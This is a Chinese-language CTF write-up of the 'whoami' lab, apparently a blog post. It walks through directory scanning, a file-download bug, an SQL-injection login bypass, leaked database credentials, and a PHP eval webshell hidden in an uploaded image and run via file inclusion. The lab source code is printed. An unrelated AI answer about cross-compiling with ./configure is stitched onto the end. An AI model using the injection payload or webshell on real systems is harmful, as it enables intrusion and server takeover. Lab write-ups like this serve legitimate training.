记录一次靶场 --==[whoami]==--

黑客追踪:揭秘打靶场隐藏的文件包含旗子

记录一次打靶场

第一个flag

开启环境,我们看到这样的界面:
靶场背景
我们首先通过Network抓包,看一下背景图片内部有无信息。
经过010Editor和exiftool分析,发现内部并没有很明显的隐藏信息。

我们考虑使用dirb对网站目录进行扫描
dirb扫描结果
发现在根目录下面,有/images和/www这两个值得关注的虚拟路径。
于是访问/images,此时显示forbidden:
images访问禁止
除此之外,还有robots.txt文件,我们尝试访问该文件:
flag1
发现一个flag1,明显不是正确的flag。

第二个flag

我们继续追踪/www/路径,使用dirsearch进行扫描:
dirsearch扫描结果

我们先追踪第一个路径,名字为add.php
add.php

从这个页面没有发现什么东西,只有一个上传的入口,一张POST表单。没有其他的路径信息,不知道上传成功与否,路径更是无处得知。
使用简单的xss和注入探测均失效,决定更换入口。
接着查看head.php,这张界面更是啥都没有,只一张图片。继续更换入口。
访问/www/images路径,再次没有权限:
www/imagesforbidden
我们直接进入index.php:在这里插入图片描述

发现是一个登录页面,查看源码:
在这里插入图片描述
仍然是POST表单,手动SQL注入探测无果。我将其暂时搁置一边,希望能从哪里得到相关的注入信息。

我们接着查看test.php,该页面有一句提示:
file
说是file参数需要传参,我们尝试GET和POST方式传入:file=test.php
使用POST方式传入该键值对时,发现有文件下载。看到文件为传入的value:
在这里插入图片描述
那么我们知到这是一个可以进行文件下载的后门,接下来就是把所有已知路径都下载下来,查看源码。
我们首先查看了index.php

<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
	$_SESSION['logged']='';
	
}

if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{
	
	echo "you are logged in :)";
	header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;"><br><br><br>
<font size=8 face="comic sans ms">[----====[[ Who am I ]]====----]</font> 
<br><br>
Show me your skills <br>
<form method=post>
<br><br>
Username : <Input type=text name=un>  &nbsp Password : <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
	$uname=str_replace('\'','',urldecode($_POST['un']));
	$pass=str_replace('\'','',urldecode($_POST['ps']));
	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
	   echo "You are allowed<br>";
	   $_SESSION['logged']=true;
	   $_SESSION['admin']=$row['username'];
	   
	 header('Location: panel.php', true, 302);
   
}
else
{
	echo "<script>alert('Try again');</script>";
}
	
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 1px 1px 5px;\">Powered By CMS <font color=#ff9933>Pirates</font> ";

?>



此处看到想要执行到mysqli_query(),需要绕过过滤,注入run语句。
这里给出构造方式:password=\ ,username= or 1=1 –

构造原理是利用了在Mysql中,字符串内的:’ 会被转义为字符 ‘,我们将pass后面直到 and uname=的部分当作一段字符串,在最后接上 or 1=1 –

登录成功

SQL注入登录成功
我们看到该页面包含了c.php和head.php两个页面,此时看到c.php:

<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","whoami","whoami_hacker","ica_lab");

// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }

有登录mysql的用户名: whoami,密码: whoami_hacker
我们前往/www/phpmy/页面,使用这组用户名密码尝试登录:
(居然真登进去了
在这里插入图片描述

在ica_lab 中看到flag库:在这里插入图片描述
这就是第二个flag。
也是错的

第三个flag

我们尝试直接在库中执行:

select "<?php @eval($_POST['hack']);?>" INTO OUTFILE '/var/www/html/www/shell.php';

直接权限不够…
在这里插入图片描述
那肯定至少是没有mysql_file权限,直接放弃继续操作该数据库。

在index.php登录后,我们来到panel.php界面

<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
		header('Location: index.php', true, 302);
		exit();
	
}

echo "Welcome to whoami ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
	unset($_SESSION['logged']);
	unset($_SESSION['admin']);
	header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
	<option value="add">Add User</option>
</select> 

 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
	
}


if(isset($_POST['upload']))
{
	
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);
							  
							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>only png,jpg and gif file are allowed";
		
	}
}


}
这时候需要满足:
1. 没有POST[‘lg’]
2. 设置POST[‘continue’]非空
3. 设置POST[‘load’]=文件包含路径
即可实现文件包含

我们考虑图片包含小马来getshell
看到可以通过Add Users向/www/uploaded_images/里面添加图片,我们制作图片马,名为good.jpg,直接上传到目录下。
上传的为php母马,小马原本定向到/www/下,但是试了几次没有成功,考虑是权限的问题,故将生育路径该为/www/uploaded_images/shell.php
在这里插入图片描述
使用hackbar构造payload:

continue=1&load=uploaded_images/good.jpg

在这里插入图片描述

此时访问 /www/uploaded_images/muma.php
在这里插入图片描述

看到小马已存在
钥匙为hack,直接菜刀连接:
在这里插入图片描述

得到最终flag。
提交正确。

<think> 我们正在讨论在交叉编译时使用./configure命令的参数设置,特别是--host和--prefix参数。用户提供了三个引用,但引用内容主要涉及交叉编译工具链的路径和版本问题,以及一些编译错误。用户的问题焦点在于:如何使用./configure命令中的参数`--host=arm-xilinx-linux-gnueabi`、`--prefix=/opt/libdecode`以及重复的`--host=arm`,并希望了解使用方法及可能的问题解决。 分析用户给出的参数: 1. `--host=arm-xilinx-linux-gnueabi`:指定目标系统平台,即我们编译的程序将要运行的平台(交叉编译的目标平台)。这里指定为arm-xilinx-linux-gnueabi,意味着我们使用针对该平台的交叉编译工具链。 2. `--prefix=/opt/libdecode`:指定安装目录。当执行`make install`时,编译生成的文件(如可执行文件、库文件等)将被安装到这个目录下。 3. 重复出现的`--host=arm`:这里重复指定了--host参数,并且值不同。根据configure脚本的解析规则,后面的参数会覆盖前面的参数。因此,实际生效的是`--host=arm`,而前面的`--host=arm-xilinx-linux-gnueabi`将被覆盖。这可能会导致问题,因为`arm`通常不是一个完整的规范的目标平台名称。 因此,用户命令中存在的问题是:重复指定了--host参数,且后面的值覆盖了前面的值,可能会导致配置错误。 正确做法:只保留一个--host参数,并且确保其值正确。例如,如果目标平台是arm-xilinx-linux-gnueabi,那么应该使用: ./configure --host=arm-xilinx-linux-gnueabi --prefix=/opt/libdecode 常见问题及解决: 1. 工具链路径问题:如果配置过程中提示找不到交叉编译工具(如arm-xilinx-linux-gnueabi-gcc),可能是因为交叉编译工具链的路径没有添加到环境变量PATH中。解决方法是将工具链所在目录添加到PATH环境变量中,例如: export PATH=$PATH:/path/to/cross-compiler/bin 然后重新运行configure。 2. 重复指定参数覆盖:如上述,重复的--host参数会导致后面的覆盖前面的,所以应该移除重复的参数。 3. 目标平台名称不规范:如果使用的--host值不正确,比如只写`--host=arm`,configure脚本可能无法识别,因为正确的目标平台三元组(triplet)通常包含更多的信息(如arm-none-linux-gnueabi, arm-linux-gnueabihf等)。需要根据交叉编译工具链的前缀来确定。例如,如果交叉编译器是arm-linux-gnueabihf-gcc,那么--host应为arm-linux-gnueabihf。 4. 检查工具链是否支持:运行交叉编译工具链的gcc查看版本,确保工具链安装正确,例如: arm-xilinx-linux-gnueabi-gcc -v 5. 依赖库问题:在交叉编译时,可能需要目标平台的依赖库(如libc等),这些库需要提前安装到交叉编译工具链的sysroot中,或者通过--sysroot参数指定。如果配置过程中提示缺少库或头文件,可能需要检查目标平台的库是否已安装。 6. 配置错误:运行configure脚本后,会生成一个config.log文件,如果配置失败,可以查看这个文件中的错误信息,有助于排查问题。 根据用户提供的引用[1]和[2],他们遇到了“未找到命令”和库文件错误,这很可能是因为环境变量PATH没有设置正确,或者工具链没有正确安装。 建议步骤: 1. 确认交叉编译工具链已正确安装,并且路径已添加到PATH环境变量中。 2. 检查工具链前缀(如arm-xilinx-linux-gnueabi)是否正确,可以通过执行`arm-xilinx-linux-gnueabi-gcc -v`来验证。 3. 在configure命令中只使用一次--host参数,并指定正确的目标平台三元组。 4. 如果遇到库文件链接错误,可能需要使用--sysroot参数指定目标平台的根文件系统(如果工具链没有默认的sysroot)。 示例: 假设工具链安装在/home/user/x-tools/arm-xilinx-linux-gnueabi/bin,那么添加PATH: export PATH=$PATH:/home/user/x-tools/arm-xilinx-linux-gnueabi/bin 然后运行configure: ./configure --host=arm-xilinx-linux-gnueabi --prefix=/opt/libdecode 如果交叉编译工具链需要sysroot,且sysroot位于/home/user/sysroot,则可以添加: ./configure --host=arm-xilinx-linux-gnueabi --prefix=/opt/libdecode --sysroot=/home/user/sysroot 注意:用户命令中重复的--host参数需要去掉,只保留一个。 如果用户在使用过程中遇到具体的错误,可以根据错误信息进一步分析解决。 </think> ### 交叉编译中 `./configure` 参数说明及问题解决 在使用 `./configure --host=arm-xilinx-linux-gnueabi --prefix=/opt/libdecode --host=arm` 进行交叉编译时,需重点注意以下要点: #### 一、核心参数解析 1. **`--host`** - **作用**:指定目标平台(程序运行的硬件环境) - **冲突问题**:命令中重复指定了两次 `--host`(`arm-xilinx-linux-gnueabi` 和 `arm`),**后者会覆盖前者**,最终等价于 `--host=arm` - **正确用法**:仅保留一个规范的平台三元组(triplet),如: ```bash ./configure --host=arm-xilinx-linux-gnueabi --prefix=/opt/libdecode ``` 2. **`--prefix`** - **作用**:指定安装目录(编译产出的库/可执行文件存放位置) - **示例**:`--prefix=/opt/libdecode` 表示所有文件将安装到 `/opt/libdecode` 目录 #### 二、常见问题及解决方案 1. **工具链路径错误** **现象**:`bash: ./arm-linux-gcc: 没有那个文件或目录`[^1] **原因**: - 交叉编译工具未添加到 `PATH` - 工具链名称不匹配(如实际工具链名为 `arm-xilinx-linux-gnueabi-gcc`) **解决方案**: ```bash # 添加工具链到 PATH(替换为实际路径) export PATH=$PATH:/usr/local/arm/4.5.1/bin # 验证工具链 arm-xilinx-linux-gnueabi-gcc -v ``` 2. **平台标识不规范** **现象**:`configure: error: cannot run C compiled programs` **原因**:`--host=arm` 标识过于模糊,需完整三元组 **解决**: - 查询实际工具链前缀: ```bash ls /path/to/toolchain/bin | grep 'gcc$' ``` - 使用匹配的标识,如 `--host=arm-xilinx-linux-gnueabi` 3. **依赖库缺失** **现象**:`libc.a: undefined reference to '_close_r'`[^2] **原因**:目标平台 C 库不兼容 **解决**: - 指定 `sysroot` 路径: ```bash ./configure ... --with-sysroot=/home/kang/Utils/arm-2013.05 ``` - 检查目标平台库文件是否完整 4. **安装目录权限问题** **现象**:`make install` 时报权限拒绝 **解决**: ```bash sudo mkdir -p /opt/libdecode sudo chown $(whoami) /opt/libdecode ``` #### 三、完整操作流程 ```bash # 1. 设置环境变量 export PATH=$PATH:/path/to/xilinx/toolchain/bin # 2. 验证工具链 arm-xilinx-linux-gnueabi-gcc -v # 3. 规范化配置命令 ./configure \ --host=arm-xilinx-linux-gnueabi \ --prefix=/opt/libdecode \ --with-sysroot=/path/to/target-sysroot # 可选 # 4. 编译安装 make -j$(nproc) make install ``` > **关键提示**: > - 交叉编译前需确认工具链与目标设备架构匹配(如 ARMv7/ARMv8) > - 使用 `file` 命令验证产出文件: > ```bash > file /opt/libdecode/bin/myapp # 应显示 ARM executable > ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值